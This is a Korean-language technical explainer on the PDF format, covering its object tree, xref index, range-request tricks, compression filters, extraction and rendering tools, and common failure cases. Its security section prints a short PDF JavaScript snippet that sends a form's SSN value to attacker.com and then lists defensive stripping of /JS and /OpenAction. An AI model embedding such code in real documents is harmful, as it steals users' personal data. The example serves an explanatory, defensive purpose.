01 · PDF
이 문서가 답하는 질문: PDF 는 어떻게 30년 동안 “어디서 열든 똑같이 보이는” 약속을 지켜왔는가? 그 안엔 무엇이 들어있는가? MIME:
application/pdf· 매직:%PDF-1.x(25 50 44 46 2D) · 표준: ISO 32000-1 (PDF 1.7), ISO 32000-2 (PDF 2.0)
한 줄 답 (Pyramid Top)
PDF 는 객체(Object) 트리 + 끝부분의 인덱스(
xref) 로 구성된 자기 참조 파일이다. 끝 N KB 만 다운로드해도 임의 페이지의 위치를 알 수 있고 (랜덤 액세스), 텍스트는 폰트 좌표에 그려진 그림 일 뿐이라 추출이 어렵고, JavaScript / 폼 / 첨부파일을 품을 수 있어 보안 위협의 백화점이다.
Why — 왜 PDF 가 30년을 살아남았는가
1993년 Adobe Acrobat 1.0 출시 당시 PDF 의 약속은 단 하나: “어떤 OS · 프린터 · 폰트 환경에서도 똑같이 보이는 문서”.
이 약속을 지키려면 다음이 모두 한 파일에 들어있어야 한다:
- 폰트 임베딩 — 받는 컴퓨터에 그 폰트가 없어도 됨.
- 고정 좌표 —
이 글자를 (x=72.0pt, y=720.0pt) 에 그려라. - 자기 참조 — 페이지 5 → 페이지 12 점프 시 이미 알고 있는 바이트 오프셋으로 점프.
그 결과 PDF 는 표시 명령어 + 리소스 + 인덱스 의 패키지가 되었다. HTML/Word 처럼 “흐르는” 문서가 아니라 고정된 그림 에 가깝다.
How — 어떻게 동작하는가
PDF 파일의 4-블록 구조
1. Header : %PDF-1.7\n
2. Body : 객체들 (1 0 obj ... endobj 의 반복)
3. Xref Table : 각 객체의 바이트 오프셋
4. Trailer : Catalog/Root 루트 객체 가리킴 + /Size 객체 수
startxref N ← Xref 테이블이 시작하는 바이트 위치
%%EOF객체(Object) 트리 — Catalog → Pages → Page → Content
Catalog (/Type /Catalog)
└── Pages (/Type /Pages, /Kids [...])
├── Page 1 (/Type /Page, /Contents N R, /Resources ...)
├── Page 2
└── Page 3각 Page 의 /Contents 는 그리기 명령 스트림:
BT % Begin Text
/F1 12 Tf % 폰트 F1, 12pt
72 720 Td % move to (72, 720)
(Hello World) Tj % show text
ET % End TextXref 가 끝에 있어서 좋은 이유 — 랜덤 액세스
xref 가 파일 시작이 아니라 끝 에 있다는 건 직관적이지 않다.
이유: incremental update — 기존 PDF 끝에 새 객체와 새 xref 만 덧붙여도 갱신된다.
부수 효과로 다음이 가능해진다:
# 1. 끝 1KB 만 받음
curl -r -1024 https://example.com/big.pdf -o tail.bin
# 2. 'startxref N' 파싱
strings tail.bin | tail
# → startxref 1234567
# 3. 1234567 부터 5KB 만 받음 (xref 본문)
curl -r 1234567-1239567 https://example.com/big.pdf -o xref.bin
# 4. xref 가 알려주는 페이지 객체 오프셋만 받음
curl -r OFFSET- https://example.com/big.pdf -o page1.bin이래서 브라우저(pdf.js)와 모바일 뷰어가 2 GB PDF 의 마지막 페이지를 즉시 열 수 있다.
HTTP Range: 헤더와의 시너지가 PDF 가 살아남은 또 하나의 이유다 (→ 01-transfer/).
압축 — Object Stream / FlateDecode
PDF 1.5+ 부터는 객체들을 묶어 Object Stream 으로 압축. 필터:
| 필터 | 용도 |
|---|---|
/FlateDecode | zlib (대부분의 텍스트/이미지 메타) |
/DCTDecode | JPEG (/XObject /Subtype /Image) |
/CCITTFaxDecode | 흑백 스캔 (TIFF 호환) |
/JBIG2Decode | 흑백 문서 고압축 (Xerox 의 ‘8 → 6’ 사건의 그것) |
/ASCII85Decode | 7비트 인코딩 (메일 호환용) |
What — 구체 사양 / CLI
매직 / 식별
$ xxd doc.pdf | head -1
00000000: 2550 4446 2d31 2e37 0a25 e2e3 cfd3 0a %PDF-1.7.%......
$ file doc.pdf
doc.pdf: PDF document, version 1.7메타 / 구조 검사
$ pdfinfo doc.pdf
Title: Quarterly Report 2026
Author: Finance Team
Producer: LibreOffice 7.5
PDF version: 1.7
Pages: 42
Encrypted: no
File size: 3,145,728 bytes
Optimized: yes ← Linearized (web-optimized)텍스트 추출 — 3 단계 도구
| 도구 | 용도 | 한계 |
|---|---|---|
pdftotext (Poppler) | 단순 텍스트, 빠름 | 표/레이아웃 깨짐 |
pdfplumber (Python) | 좌표 보존, 표 추출 | 큰 PDF 느림 |
OCR (tesseract + pdftoppm) | 스캔 PDF (텍스트가 그림인 경우) | 글자 인식 오류 |
# 일반 PDF
$ pdftotext -layout doc.pdf -
# 스캔 PDF — 먼저 이미지로
$ pdftoppm -r 300 scan.pdf page -png
$ tesseract page-1.png stdout -l kor+eng페이지 렌더링
| 엔진 | 환경 | 비고 |
|---|---|---|
Poppler (pdftoppm) | 서버, CLI | Linux 표준 |
MuPDF (mutool draw) | 서버, 임베디드 | 빠르고 가벼움 |
| pdf.js | 브라우저 | Mozilla, JS 단독 구현 |
| PDFium | Chrome, 모바일 | C++ |
| Apple PDFKit | iOS/macOS | 시스템 |
PDF/A — 장기 보존 프로파일
| 변종 | 의미 |
|---|---|
| PDF/A-1 | ISO 19005-1 (2005), 폰트 임베딩 필수, JS/오디오/비디오 금지 |
| PDF/A-2 | JPEG2000, 투명도 허용 |
| PDF/A-3 | 임의 첨부파일 허용 (e-Invoice 의 ZUGFeRD/Factur-X 가 이걸 씀) |
폼 / 서명
- AcroForm — PDF 1.2 부터, 필드는 객체로 저장.
- XFA — Adobe LiveCycle 의 XML 폼, PDF 2.0 에서 deprecated.
- 디지털 서명 —
/Sig객체에 PKCS#7. 서명 후 변경 시 무효.
What-if — 잘못 다루면 어떻게 깨지는가
1) PDF JavaScript exfil
1 0 obj
<< /S /JavaScript /JS (
var u = "https://attacker.com/?d=" + this.getField("ssn").value;
app.launchURL(u);
) >>
endobj폼 PDF 에서 사용자가 SSN 을 입력하면 외부 URL 로 전송.
대응: 서버 측에서 PDF 처리 시 /JS, /JavaScript, /AA (Additional Action), /OpenAction 제거.
2) PDF 첨부파일 (Embedded Files)
PDF 안에 임의 바이너리 첨부 가능 (/EmbeddedFile).
악성코드 운반 채널로 종종 사용. 메일 게이트웨이가 PDF 만 검사하면 통과.
3) JBIG2 의 Xerox 사건
2013년 발견 — 일부 Xerox 복사기가 스캔본을 PDF/JBIG2 로 압축할 때 숫자 ‘8’ 을 ‘6’ 으로 바꿔치기. 패턴 매칭 기반 압축의 함정. 의료 기록 / 건축 도면에서 발견.
4) Linearized 가 아닌 PDF + Range = 전체 다운로드
Linearized 1 이 없는 PDF 는 끝부분 xref 위치를 모름.
모바일 뷰어가 전체를 받아야 첫 페이지가 뜬다. qpdf --linearize 로 후처리.
5) 폰트 미임베딩
/FontDescriptor /FontFile 이 없으면 시스템 폰트로 대체 — Mac 에서 한글이 □□□.
대응: 생성 시 임베딩 강제, 검수 시 pdffonts file.pdf 로 모든 폰트가 emb yes 인지 확인.
$ pdffonts contract.pdf
name type emb sub uni
------------------------------ ----------- --- --- ---
NotoSansCJKkr-Regular CID Type 0 yes yes yes
Helvetica Type 1 no no no ← 위험6) Zip-bomb 의 PDF 버전 — Stream Bomb
/Length 100 인데 /FlateDecode 풀면 1GB. 파서가 메모리 폭발.
대응: 디코드 출력 한계를 미리 정해두고 초과 시 abort.
Insight — 흥미로운 이야기
“PDF 는 PostScript 의 자식”
1982년 Adobe 의 PostScript 는 프린터 언어였다 (Turing-complete). “프린터 언어가 너무 강해서 화면용으로는 위험하다” → 1993년 PDF 는 PostScript 에서 루프와 변수를 빼고 인덱스를 더한 결과물. 그래서 PDF 는 “정적 PostScript + 인덱스” 라고 부르기도 한다.
“왜 PDF 텍스트 추출이 어려운가”
PDF 는 글자가 아니라 좌표 를 저장한다.
(72, 720) 에 H,(78, 720) 에 e,(83, 720) 에 l… “Hello” 가 한 단어인지 파서가 모른다 — 좌표 거리로 추론할 뿐. 그래서 한국어 PDF 는 더 어렵다 (글자 폭 가변, kerning 보정).
“PDF 는 사실상의 ISO 표준이다”
2008년 ISO 32000-1 채택, 2017년 32000-2. 그 전까지 Adobe 의 사양서 가 사실상 표준이었고, 지금도 ISO 명세는 Adobe 사양과 거의 동일. 비슷한 케이스: HTML(WHATWG → ISO 가 아님), JPEG(ISO/IEC 10918).
“Linearized PDF 가 발명된 이유”
1996년 Acrobat 3.0. 56K 모뎀 시대에 큰 PDF 를 받느라 사용자가 떠나는 문제. “첫 페이지만이라도 먼저 보여주자” → Linearization (Web-optimized) 발명. Range 요청 + 끝부분 xref 로 첫 페이지를 5KB 안에 배치. 이게 30년 뒤 모바일 PDF 뷰어의 기반이 되었다.
요약 + Mermaid
PDF 는 객체 트리 + 끝의 인덱스(xref) + 트레일러 의 자기 참조 파일이다. “끝부터 읽는” 설계 덕에 Range 부분 다운로드 / 랜덤 페이지 액세스가 가능하고, 폰트 임베딩 덕에 모든 OS 에서 같은 모양이 나온다. 텍스트는 좌표에 그려진 그림 이라 추출이 까다롭고, JS/폼/첨부 때문에 보안 검토가 필수다.